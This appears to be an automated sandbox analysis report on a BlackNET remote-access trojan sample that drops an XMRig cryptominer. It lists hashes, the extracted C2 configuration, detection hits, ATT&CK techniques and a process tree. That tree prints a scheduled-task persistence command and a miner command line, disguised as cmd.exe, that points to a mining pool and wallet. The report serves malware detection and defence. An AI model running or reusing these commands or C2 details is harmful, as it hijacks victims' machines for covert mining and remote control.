blacknet | 4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364

Analysis

max time kernel
150s
max time network
191s
platform
windows7_x64
resource
win7v20210408
submitted
23/07/2021, 05:04

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General

Target
4B71D55F16C4A497FB2457C340D5A8A6.exe
Size 4.2MB
Sample210723-5bfl1557bx
SHA256 4fcda5517e6673b3233c58d4738b079c6f944ce746dfc3b1dbf87f475f8ff364
MD5 4b71d55f16c4a497fb2457c340d5a8a6
SHA1 b8d17306aa1c757e6329bb69d976c224e585838a
SHA512 93f66aca97affda90dee4631069255800ccf40a5ab912f77814f526df95ac5a8c6a1e63f74d2ba38b147b53a8f7d258f636db9cefd9a98ebb5ac869eb79ae79f
MD5 SHA1 SHA512

Score

10^/10

blacknet xmrig otwjgz miner trojan

Malware Config

Extracted

Family

blacknet

Version

v3.7.0 Public

Botnet

OTwjgZ

http://54.237.66.139

Mutex

BN[a4bfa882efc194e2bcd370ea]

Attributes

antivm
false
elevate_uac
false
install_name
WindowsUpdate.exe
splitter
|BN|
start_name
19eb68018edbdeae69b26450d3d0915f
startup
false
usb_spread
false

Signatures

BlackNET
BlackNET is an open source remote access tool written in VB.NET.
trojan blacknet

BlackNET Payload 6 IoCs

resource	yara_rule
behavioral1/memory/1012-89-0x0000000000400000-0x000000000063C000-memory.dmp	family_blacknet
behavioral1/memory/1012-90-0x000000000063636E-mapping.dmp	family_blacknet
behavioral1/memory/1012-91-0x0000000000400000-0x000000000063C000-memory.dmp	family_blacknet
behavioral1/files/0x000400000000f5eb-94.dat	family_blacknet
behavioral1/files/0x000400000000f5eb-96.dat	family_blacknet
behavioral1/files/0x000400000000f5eb-97.dat	family_blacknet

Contains code to disable Windows Defender 6 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/1012-89-0x0000000000400000-0x000000000063C000-memory.dmp	disable_win_def
behavioral1/memory/1012-90-0x000000000063636E-mapping.dmp	disable_win_def
behavioral1/memory/1012-91-0x0000000000400000-0x000000000063C000-memory.dmp	disable_win_def
behavioral1/files/0x000400000000f5eb-94.dat	disable_win_def
behavioral1/files/0x000400000000f5eb-96.dat	disable_win_def
behavioral1/files/0x000400000000f5eb-97.dat	disable_win_def

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 3 IoCs

miner

resource	yara_rule
behavioral1/memory/1648-140-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig
behavioral1/memory/1648-141-0x00000001402EB66C-mapping.dmp	xmrig
behavioral1/memory/1648-143-0x0000000140000000-0x0000000140758000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	1648	cmd.exe
14	1648	cmd.exe

Executes dropped EXE 7 IoCs

pid	Process
824	ATB.exe
456	cracked.exe
364	phone.exe
1428	phoneupdate.exe
1940	sihost64.exe
1436	userupdate.exe
968	sihost64.exe

Loads dropped DLL 12 IoCs

pid	Process
1680	WScript.exe
1680	WScript.exe
1768	WerFault.exe
1768	WerFault.exe
1768	WerFault.exe
1768	WerFault.exe
1768	WerFault.exe
1012	vbc.exe
1012	vbc.exe
1428	phoneupdate.exe
1428	phoneupdate.exe
1436	userupdate.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 456 set thread context of 1012	456	cracked.exe	33
PID 1436 set thread context of 1648	1436	userupdate.exe	46

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1768	824	WerFault.exe	30

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1952	schtasks.exe
1464	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1768	WerFault.exe
1768	WerFault.exe
1768	WerFault.exe
1768	WerFault.exe
1768	WerFault.exe
364	phone.exe
1428	phoneupdate.exe
1428	phoneupdate.exe
1436	userupdate.exe
1436	userupdate.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1768	WerFault.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1768	WerFault.exe
Token: SeDebugPrivilege	364	phone.exe
Token: SeDebugPrivilege	1428	phoneupdate.exe
Token: SeDebugPrivilege	1436	userupdate.exe
Token: SeLockMemoryPrivilege	1648	cmd.exe
Token: SeLockMemoryPrivilege	1648	cmd.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
364	phone.exe
364	phone.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 468 wrote to memory of 1680	468	4B71D55F16C4A497FB2457C340D5A8A6.exe	29
PID 468 wrote to memory of 1680	468	4B71D55F16C4A497FB2457C340D5A8A6.exe	29
PID 468 wrote to memory of 1680	468	4B71D55F16C4A497FB2457C340D5A8A6.exe	29
PID 468 wrote to memory of 1680	468	4B71D55F16C4A497FB2457C340D5A8A6.exe	29
PID 1680 wrote to memory of 824	1680	WScript.exe	30
PID 1680 wrote to memory of 824	1680	WScript.exe	30
PID 1680 wrote to memory of 824	1680	WScript.exe	30
PID 1680 wrote to memory of 824	1680	WScript.exe	30
PID 1680 wrote to memory of 456	1680	WScript.exe	31
PID 1680 wrote to memory of 456	1680	WScript.exe	31
PID 1680 wrote to memory of 456	1680	WScript.exe	31
PID 1680 wrote to memory of 456	1680	WScript.exe	31
PID 824 wrote to memory of 1768	824	ATB.exe	32
PID 824 wrote to memory of 1768	824	ATB.exe	32
PID 824 wrote to memory of 1768	824	ATB.exe	32
PID 824 wrote to memory of 1768	824	ATB.exe	32
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 456 wrote to memory of 1012	456	cracked.exe	33
PID 1012 wrote to memory of 364	1012	vbc.exe	34
PID 1012 wrote to memory of 364	1012	vbc.exe	34
PID 1012 wrote to memory of 364	1012	vbc.exe	34
PID 1012 wrote to memory of 364	1012	vbc.exe	34
PID 1012 wrote to memory of 1428	1012	vbc.exe	35
PID 1012 wrote to memory of 1428	1012	vbc.exe	35
PID 1012 wrote to memory of 1428	1012	vbc.exe	35
PID 1012 wrote to memory of 1428	1012	vbc.exe	35
PID 1428 wrote to memory of 1548	1428	phoneupdate.exe	37
PID 1428 wrote to memory of 1548	1428	phoneupdate.exe	37
PID 1428 wrote to memory of 1548	1428	phoneupdate.exe	37
PID 1548 wrote to memory of 1952	1548	cmd.exe	39
PID 1548 wrote to memory of 1952	1548	cmd.exe	39
PID 1548 wrote to memory of 1952	1548	cmd.exe	39
PID 1428 wrote to memory of 1940	1428	phoneupdate.exe	40
PID 1428 wrote to memory of 1940	1428	phoneupdate.exe	40
PID 1428 wrote to memory of 1940	1428	phoneupdate.exe	40
PID 1428 wrote to memory of 1436	1428	phoneupdate.exe	41
PID 1428 wrote to memory of 1436	1428	phoneupdate.exe	41
PID 1428 wrote to memory of 1436	1428	phoneupdate.exe	41
PID 1436 wrote to memory of 1156	1436	userupdate.exe	42
PID 1436 wrote to memory of 1156	1436	userupdate.exe	42
PID 1436 wrote to memory of 1156	1436	userupdate.exe	42
PID 1156 wrote to memory of 1464	1156	cmd.exe	44
PID 1156 wrote to memory of 1464	1156	cmd.exe	44
PID 1156 wrote to memory of 1464	1156	cmd.exe	44
PID 1436 wrote to memory of 968	1436	userupdate.exe	45
PID 1436 wrote to memory of 968	1436	userupdate.exe	45
PID 1436 wrote to memory of 968	1436	userupdate.exe	45
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46
PID 1436 wrote to memory of 1648	1436	userupdate.exe	46

C:\Users\Admin\AppData\Local\Temp\4B71D55F16C4A497FB2457C340D5A8A6.exe
"C:\Users\Admin\AppData\Local\Temp\4B71D55F16C4A497FB2457C340D5A8A6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:468
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\ATB.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 824 -s 584
      4⤵
      Loads dropped DLL
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      PID:1768
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cracked.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "{path}"
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1012
    - - C:\Users\Admin\AppData\Local\Temp\phone.exe
        
        "C:\Users\Admin\AppData\Local\Temp\phone.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:364
    - - C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1428
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1548
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
        7⤵
        Creates scheduled task(s)
        
        PID:1952
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        
        PID:1940
      - C:\Users\Admin\AppData\Roaming\userupdate.exe
        
        "C:\Users\Admin\AppData\Roaming\userupdate.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1156
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:1464
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        7⤵
        Executes dropped EXE
        
        PID:968
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows/System32\cmd.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.c3pool.com:13333 --user=439KJy5uZoHFetfkQ45pdjRnjLzN1TsFn2NLxPcZbTMwTqJGGpJw4SEM4NhUygc7xacM16VKBNq2Hfe52KmiWTpE46UsCLH --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
        7⤵
        Blocklisted process makes network request
        Suspicious use of AdjustPrivilegeToken
        
        PID:1648

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

memory/364-98-0x00000000003E0000-0x00000000003E1000-memory.dmp

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memory/364-109-0x000000001B369000-0x000000001B388000-memory.dmp

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memory/364-107-0x000000001B362000-0x000000001B363000-memory.dmp

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memory/364-108-0x000000001B364000-0x000000001B365000-memory.dmp

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memory/364-106-0x000000001B360000-0x000000001B362000-memory.dmp

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memory/456-86-0x00000000001F0000-0x00000000001F2000-memory.dmp

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memory/456-78-0x0000000004820000-0x0000000004821000-memory.dmp

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memory/456-87-0x0000000005E60000-0x00000000060F6000-memory.dmp

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memory/456-71-0x0000000000330000-0x0000000000331000-memory.dmp

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memory/456-88-0x0000000006590000-0x00000000067D4000-memory.dmp

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memory/468-59-0x0000000075051000-0x0000000075053000-memory.dmp

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memory/824-72-0x0000000000800000-0x0000000000801000-memory.dmp

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memory/824-76-0x0000000009F60000-0x000000000A027000-memory.dmp

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memory/824-79-0x0000000004CD0000-0x0000000004CD1000-memory.dmp

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memory/824-75-0x00000000006C0000-0x00000000006C1000-memory.dmp

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memory/968-137-0x000000013F0C0000-0x000000013F0C1000-memory.dmp

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memory/968-148-0x0000000000940000-0x0000000000942000-memory.dmp

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memory/1012-93-0x0000000005030000-0x0000000005031000-memory.dmp

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memory/1012-91-0x0000000000400000-0x000000000063C000-memory.dmp

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memory/1012-89-0x0000000000400000-0x000000000063C000-memory.dmp

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memory/1428-111-0x0000000002490000-0x0000000002492000-memory.dmp

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memory/1428-110-0x000000001C250000-0x000000001C46B000-memory.dmp

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memory/1428-104-0x000000013FA70000-0x000000013FA71000-memory.dmp

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memory/1436-129-0x000000001B690000-0x000000001B692000-memory.dmp

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memory/1436-139-0x00000000022E0000-0x00000000022EA000-memory.dmp

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memory/1436-123-0x000000013FB10000-0x000000013FB11000-memory.dmp

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memory/1648-143-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/1648-140-0x0000000140000000-0x0000000140758000-memory.dmp

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memory/1648-146-0x0000000001FC0000-0x0000000001FE0000-memory.dmp

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memory/1648-145-0x0000000000440000-0x0000000000460000-memory.dmp

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memory/1648-144-0x0000000000440000-0x0000000000460000-memory.dmp

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memory/1648-142-0x0000000000180000-0x00000000001A0000-memory.dmp

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memory/1768-85-0x00000000005D0000-0x00000000005D1000-memory.dmp

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memory/1940-128-0x00000000023B0000-0x00000000023B2000-memory.dmp

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memory/1940-126-0x00000000006D0000-0x00000000006D2000-memory.dmp

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memory/1940-122-0x000000013F9E0000-0x000000013F9E1000-memory.dmp

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